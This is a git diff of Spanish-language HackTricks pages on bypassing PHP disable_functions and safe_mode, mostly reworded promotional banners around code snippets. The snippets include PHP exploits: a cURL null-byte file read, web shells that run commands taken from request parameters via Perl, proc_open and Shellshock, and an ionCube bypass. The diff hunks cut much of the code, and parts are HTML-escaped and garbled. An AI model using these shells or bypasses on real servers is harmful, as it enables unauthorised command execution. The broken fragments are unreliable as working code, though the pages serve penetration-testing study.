* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# PHP 5.2.4 y 5.2.5 PHP cURL
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```text
source: http://www.securityfocus.com/bid/27413/info
@ -27,16 +28,17 @@ The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,23 +1,25 @@
# disable\_functions bypass - PHP <= 5.2.9 on windows
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
## PHP <= 5.2.9 en Windows
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
# PHP &lt;= 5.2.9 en Windows
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
{% tabs %}
{% tab title="exploit.php" %}
```php
<?php
//cmd.php
@ -71,19 +73,29 @@ echo "</center>";
</body>
</html>
```
{% endtab %}
\`\`\` dir > abyss.txt exit \`\`\`
{% tab title="cmd.bat" %}
```
dir > abyss.txt
exit
```
{% endtab %}
{% endtabs %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Exploit de Bypass de Modo Seguro de Extensión PHP Perl
# Explotación de Bypass de Safe\_mode de la Extensión PHP Perl
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
@ -41,16 +42,17 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Bypass de safe\_mode de PHP mediante proc\_open\(\) y explotación de entorno personalizado
# Bypass de safe\_mode de PHP a través de proc\_open\(\) y exploit de entorno personalizado
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
@ -27,16 +28,17 @@ while (!feof($a))
?&gt;;
</strong>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# via mem
# vía mem
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
/*
@ -142,16 +143,17 @@ exit;
}
echo "[-] Write failed. Exiting\n";
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Vulnerabilidad de la extensión ionCube de PHP 5.2.4
# Explotación de la extensión ionCube de PHP 5.2.4
```php
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
@ -51,16 +52,17 @@ echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
# Exploit de Shellshock en PHP 5.x
# PHP 5.x Shellshock Exploit
Desde [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
@ -40,16 +41,17 @@ else return "No output, or not vuln.";
echo shellshock($_REQUEST["cmd"]);
?>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
